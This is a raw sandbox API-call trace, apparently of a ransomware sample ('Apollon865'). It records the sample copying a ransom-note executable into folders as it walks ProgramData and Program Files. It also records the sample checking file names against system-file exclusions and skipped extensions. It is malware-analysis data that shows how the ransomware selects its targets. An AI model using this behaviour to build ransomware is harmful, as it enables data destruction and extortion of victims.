	[0051.321] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\adobe\\acrobat\\10.0\\replicate\\security\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.322] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.322] GetLastError () returned 0x0
	[0051.322] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.322] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.322] CloseHandle (hObject=0x15c) returned 1
	[0051.322] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.322] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.322] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300c8cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300c8cb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0051.322] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.322] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.322] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.323] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x300c8cb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x300c8cb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.323] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.323] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.323] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.323] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.323] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1df, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="directories.acrodata", cAlternateFileName="DIRECT~1.ACR")) returned 1
	[0051.323] lstrcmpiW (lpString1="directories.acrodata", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.323] lstrcmpiW (lpString1="directories.acrodata", lpString2="Apollon865.txt.exe") returned 1
	[0051.323] lstrcmpiW (lpString1="directories.acrodata", lpString2=".") returned 1
	[0051.323] lstrcmpiW (lpString1="directories.acrodata", lpString2="..") returned 1
	[0051.323] lstrcmpiW (lpString1="directories.acrodata", lpString2="windows") returned -1
	[0051.323] lstrcmpiW (lpString1="directories.acrodata", lpString2="bootmgr") returned 1
	[0051.323] lstrcmpiW (lpString1="directories.acrodata", lpString2="temp") returned -1
	[0051.323] lstrcmpiW (lpString1="directories.acrodata", lpString2="pagefile.sys") returned -1
	[0051.323] lstrcmpiW (lpString1="directories.acrodata", lpString2="boot") returned 1
	[0051.323] lstrcmpiW (lpString1="directories.acrodata", lpString2="ids.txt") returned -1
	[0051.323] lstrcmpiW (lpString1="directories.acrodata", lpString2="ntuser.dat") returned -1
	[0051.323] lstrcmpiW (lpString1="directories.acrodata", lpString2="perflogs") returned -1
	[0051.323] lstrcmpiW (lpString1="directories.acrodata", lpString2="MSBuild") returned -1
	[0051.323] lstrlenW (lpString="directories.acrodata") returned 20
	[0051.323] lstrlenW (lpString="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*") returned 54
	[0051.323] lstrcpyW (in: lpString1=0x2d3e5ba, lpString2="directories.acrodata" | out: lpString1="directories.acrodata") returned="directories.acrodata"
	[0051.323] lstrlenW (lpString="directories.acrodata") returned 20
	[0051.323] lstrlenW (lpString="Apollon865") returned 10
	[0051.323] lstrcmpiW (lpString1="s.acrodata", lpString2="Apollon865") returned 1
	[0051.323] lstrlenW (lpString=".dll") returned 4
	[0051.323] lstrcmpiW (lpString1="directories.acrodata", lpString2=".dll") returned 1
	[0051.323] lstrlenW (lpString=".lnk") returned 4
	[0051.323] lstrcmpiW (lpString1="directories.acrodata", lpString2=".lnk") returned 1
	[0051.323] lstrlenW (lpString=".ini") returned 4
	[0051.324] lstrcmpiW (lpString1="directories.acrodata", lpString2=".ini") returned 1
	[0051.324] lstrlenW (lpString=".sys") returned 4
	[0051.324] lstrcmpiW (lpString1="directories.acrodata", lpString2=".sys") returned 1
	[0051.324] lstrlenW (lpString="directories.acrodata") returned 20
	[0051.324] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)"
	[0051.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7db8 | out: hHeap=0x580000) returned 1
	[0051.324] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b78e8 | out: hHeap=0x580000) returned 1
	[0051.324] lstrlenW (lpString="C:\\Program Files (x86)") returned 22
	[0051.324] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)"
	[0051.324] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.324] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0051.330] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.330] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x36ab5fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36ab5fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0051.330] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.330] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.330] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.330] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x36ab5fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36ab5fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.330] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.330] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.330] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.331] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.331] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf40b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf40b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf40b40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0051.331] lstrcmpiW (lpString1="Adobe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.331] lstrcmpiW (lpString1="Adobe", lpString2="Apollon865.txt.exe") returned -1
	[0051.331] lstrcmpiW (lpString1="Adobe", lpString2=".") returned 1
	[0051.331] lstrcmpiW (lpString1="Adobe", lpString2="..") returned 1
	[0051.331] lstrcmpiW (lpString1="Adobe", lpString2="windows") returned -1
	[0051.331] lstrcmpiW (lpString1="Adobe", lpString2="bootmgr") returned -1
	[0051.331] lstrcmpiW (lpString1="Adobe", lpString2="temp") returned -1
	[0051.331] lstrcmpiW (lpString1="Adobe", lpString2="pagefile.sys") returned -1
	[0051.331] lstrcmpiW (lpString1="Adobe", lpString2="boot") returned -1
	[0051.331] lstrcmpiW (lpString1="Adobe", lpString2="ids.txt") returned -1
	[0051.331] lstrcmpiW (lpString1="Adobe", lpString2="ntuser.dat") returned -1
	[0051.331] lstrcmpiW (lpString1="Adobe", lpString2="perflogs") returned -1
	[0051.331] lstrcmpiW (lpString1="Adobe", lpString2="MSBuild") returned -1
	[0051.331] lstrlenW (lpString="Adobe") returned 5
	[0051.331] lstrlenW (lpString="C:\\Program Files (x86)\\*") returned 24
	[0051.331] lstrcpyW (in: lpString1=0x2d3e57e, lpString2="Adobe" | out: lpString1="Adobe") returned="Adobe"
	[0051.331] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b78e8
	[0051.331] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3a) returned 0x5b5ed8
	[0051.331] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b78f0 | out: ListHead=0x5b76b0, ListEntry=0x5b78f0) returned 0x5b78d0
	[0051.331] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1db9c8c0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x1db9c8c0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1
	[0051.331] lstrcmpiW (lpString1="Common Files", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.331] lstrcmpiW (lpString1="Common Files", lpString2="Apollon865.txt.exe") returned 1
	[0051.331] lstrcmpiW (lpString1="Common Files", lpString2=".") returned 1
	[0051.331] lstrcmpiW (lpString1="Common Files", lpString2="..") returned 1
	[0051.331] lstrcmpiW (lpString1="Common Files", lpString2="windows") returned -1
	[0051.331] lstrcmpiW (lpString1="Common Files", lpString2="bootmgr") returned 1
	[0051.331] lstrcmpiW (lpString1="Common Files", lpString2="temp") returned -1
	[0051.331] lstrcmpiW (lpString1="Common Files", lpString2="pagefile.sys") returned -1
	[0051.331] lstrcmpiW (lpString1="Common Files", lpString2="boot") returned 1
	[0051.332] lstrcmpiW (lpString1="Common Files", lpString2="ids.txt") returned -1
	[0051.332] lstrcmpiW (lpString1="Common Files", lpString2="ntuser.dat") returned -1
	[0051.332] lstrcmpiW (lpString1="Common Files", lpString2="perflogs") returned -1
	[0051.332] lstrcmpiW (lpString1="Common Files", lpString2="MSBuild") returned -1
	[0051.332] lstrlenW (lpString="Common Files") returned 12
	[0051.332] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe") returned 28
	[0051.332] lstrcpyW (in: lpString1=0x2d3e57e, lpString2="Common Files" | out: lpString1="Common Files") returned="Common Files"
	[0051.332] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7908
	[0051.332] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x48) returned 0x5bde88
	[0051.332] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7910 | out: ListHead=0x5b76b0, ListEntry=0x5b7910) returned 0x5b78f0
	[0051.332] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0051.332] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.332] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0051.332] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0051.332] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0051.332] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0051.332] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0051.332] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0051.332] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0051.332] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0051.332] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0051.332] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0051.332] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0051.332] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0051.332] lstrlenW (lpString="desktop.ini") returned 11
	[0051.332] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files") returned 35
	[0051.332] lstrcpyW (in: lpString1=0x2d3e57e, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0051.332] lstrlenW (lpString="desktop.ini") returned 11
	[0051.332] lstrlenW (lpString="Apollon865") returned 10
	[0051.332] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0051.333] lstrlenW (lpString=".dll") returned 4
	[0051.333] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0051.333] lstrlenW (lpString=".lnk") returned 4
	[0051.333] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0051.333] lstrlenW (lpString=".ini") returned 4
	[0051.333] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0051.333] lstrlenW (lpString=".sys") returned 4
	[0051.333] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0051.333] lstrlenW (lpString="desktop.ini") returned 11
	[0051.333] lstrcpyW (in: lpString1=0x2d3e57e, lpString2="Google" | out: lpString1="Google") returned="Google"
	[0051.333] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7928
	[0051.333] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x3c) returned 0x5b62c8
	[0051.333] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7930 | out: ListHead=0x5b76b0, ListEntry=0x5b7930) returned 0x5b7910
	[0051.333] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36ab5fb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x36ab5fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.333] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.333] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1dbc2a20, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x1dbc2a20, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1
	[0051.333] lstrcmpiW (lpString1="Internet Explorer", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.333] lstrcmpiW (lpString1="Internet Explorer", lpString2="Apollon865.txt.exe") returned 1
	[0051.333] lstrcmpiW (lpString1="Internet Explorer", lpString2=".") returned 1
	[0051.333] lstrcmpiW (lpString1="Internet Explorer", lpString2="..") returned 1
	[0051.333] lstrcmpiW (lpString1="Internet Explorer", lpString2="windows") returned -1
	[0051.333] lstrcmpiW (lpString1="Internet Explorer", lpString2="bootmgr") returned 1
	[0051.333] lstrcmpiW (lpString1="Internet Explorer", lpString2="temp") returned -1
	[0051.333] lstrcmpiW (lpString1="Internet Explorer", lpString2="pagefile.sys") returned -1
	[0051.333] lstrcmpiW (lpString1="Internet Explorer", lpString2="boot") returned 1
	[0051.333] lstrcmpiW (lpString1="Internet Explorer", lpString2="ids.txt") returned 1
	[0051.333] lstrcmpiW (lpString1="Internet Explorer", lpString2="ntuser.dat") returned -1
	[0051.333] lstrcmpiW (lpString1="Internet Explorer", lpString2="perflogs") returned -1
	[0051.334] lstrcmpiW (lpString1="Internet Explorer", lpString2="MSBuild") returned -1
	[0051.334] lstrlenW (lpString="Internet Explorer") returned 17
	[0051.334] lstrlenW (lpString="C:\\Program Files (x86)\\Google") returned 29
	[0051.334] lstrcpyW (in: lpString1=0x2d3e57e, lpString2="Internet Explorer" | out: lpString1="Internet Explorer") returned="Internet Explorer"
	[0051.334] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7948
	[0051.334] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x52) returned 0x5983a8
	[0051.334] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7950 | out: ListHead=0x5b76b0, ListEntry=0x5b7950) returned 0x5b7930
	[0051.334] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x1dbc2a20, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x1dbc2a20, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1
	[0051.334] lstrcmpiW (lpString1="Java", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.334] lstrcmpiW (lpString1="Java", lpString2="Apollon865.txt.exe") returned 1
	[0051.334] lstrcmpiW (lpString1="Java", lpString2=".") returned 1
	[0051.334] lstrcmpiW (lpString1="Java", lpString2="..") returned 1
	[0051.334] lstrcmpiW (lpString1="Java", lpString2="windows") returned -1
	[0051.334] lstrcmpiW (lpString1="Java", lpString2="bootmgr") returned 1
	[0051.334] lstrcmpiW (lpString1="Java", lpString2="temp") returned -1
	[0051.334] lstrcmpiW (lpString1="Java", lpString2="pagefile.sys") returned -1
	[0051.334] lstrcmpiW (lpString1="Java", lpString2="boot") returned 1
	[0051.334] lstrcmpiW (lpString1="Java", lpString2="ids.txt") returned 1
	[0051.334] lstrcmpiW (lpString1="Java", lpString2="ntuser.dat") returned -1
	[0051.334] lstrcmpiW (lpString1="Java", lpString2="perflogs") returned -1
	[0051.334] lstrcmpiW (lpString1="Java", lpString2="MSBuild") returned -1
	[0051.334] lstrlenW (lpString="Java") returned 4
	[0051.334] lstrlenW (lpString="C:\\Program Files (x86)\\Internet Explorer") returned 40
	[0051.334] lstrcpyW (in: lpString1=0x2d3e57e, lpString2="Java" | out: lpString1="Java") returned="Java"
	[0051.334] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7968
	[0051.334] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x38) returned 0x5ca2d0
	[0051.334] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7970 | out: ListHead=0x5b76b0, ListEntry=0x5b7970) returned 0x5b7950
	[0051.334] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1ae930, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1db9c8c0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x1db9c8c0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1
	[0051.334] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.334] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="Apollon865.txt.exe") returned 1
	[0051.334] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2=".") returned 1
	[0051.335] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="..") returned 1
	[0051.335] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="windows") returned -1
	[0051.335] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="bootmgr") returned 1
	[0051.335] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="temp") returned -1
	[0051.335] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="pagefile.sys") returned -1
	[0051.335] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="boot") returned 1
	[0051.335] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="ids.txt") returned 1
	[0051.335] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="ntuser.dat") returned -1
	[0051.335] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="perflogs") returned -1
	[0051.335] lstrcmpiW (lpString1="Microsoft Analysis Services", lpString2="MSBuild") returned -1
	[0051.335] lstrlenW (lpString="Microsoft Analysis Services") returned 27
	[0051.335] lstrlenW (lpString="C:\\Program Files (x86)\\Java") returned 27
	[0051.335] lstrcpyW (in: lpString1=0x2d3e57e, lpString2="Microsoft Analysis Services" | out: lpString1="Microsoft Analysis Services") returned="Microsoft Analysis Services"
	[0051.335] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7988
	[0051.335] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x66) returned 0x5c8f30
	[0051.335] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7990 | out: ListHead=0x5b76b0, ListEntry=0x5b7990) returned 0x5b7970
	[0051.335] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef0a44f0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xef0a44f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1
	[0051.335] lstrcmpiW (lpString1="Microsoft Office", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.335] lstrcmpiW (lpString1="Microsoft Office", lpString2="Apollon865.txt.exe") returned 1
	[0051.335] lstrcmpiW (lpString1="Microsoft Office", lpString2=".") returned 1
	[0051.335] lstrcmpiW (lpString1="Microsoft Office", lpString2="..") returned 1
	[0051.335] lstrcmpiW (lpString1="Microsoft Office", lpString2="windows") returned -1
	[0051.335] lstrcmpiW (lpString1="Microsoft Office", lpString2="bootmgr") returned 1
	[0051.335] lstrcmpiW (lpString1="Microsoft Office", lpString2="temp") returned -1
	[0051.335] lstrcmpiW (lpString1="Microsoft Office", lpString2="pagefile.sys") returned -1
	[0051.335] lstrcmpiW (lpString1="Microsoft Office", lpString2="boot") returned 1
	[0051.335] lstrcmpiW (lpString1="Microsoft Office", lpString2="ids.txt") returned 1
	[0051.335] lstrcmpiW (lpString1="Microsoft Office", lpString2="ntuser.dat") returned -1
	[0051.335] lstrcmpiW (lpString1="Microsoft Office", lpString2="perflogs") returned -1
	[0051.335] lstrcmpiW (lpString1="Microsoft Office", lpString2="MSBuild") returned -1
	[0051.335] lstrlenW (lpString="Microsoft Office") returned 16
	[0051.336] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Analysis Services") returned 50
	[0051.336] lstrcpyW (in: lpString1=0x2d3e57e, lpString2="Microsoft Office" | out: lpString1="Microsoft Office") returned="Microsoft Office"
	[0051.336] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b79a8
	[0051.336] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bc9b8
	[0051.336] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b79b0 | out: ListHead=0x5b76b0, ListEntry=0x5b79b0) returned 0x5b7990
	[0051.336] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1dade1e0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x1dade1e0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Visual Studio 8", cAlternateFileName="MICROS~3")) returned 1
	[0051.336] lstrcmpiW (lpString1="Microsoft Visual Studio 8", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.336] lstrcmpiW (lpString1="Microsoft Visual Studio 8", lpString2="Apollon865.txt.exe") returned 1
	[0051.336] lstrcmpiW (lpString1="Microsoft Visual Studio 8", lpString2=".") returned 1
	[0051.336] lstrcmpiW (lpString1="Microsoft Visual Studio 8", lpString2="..") returned 1
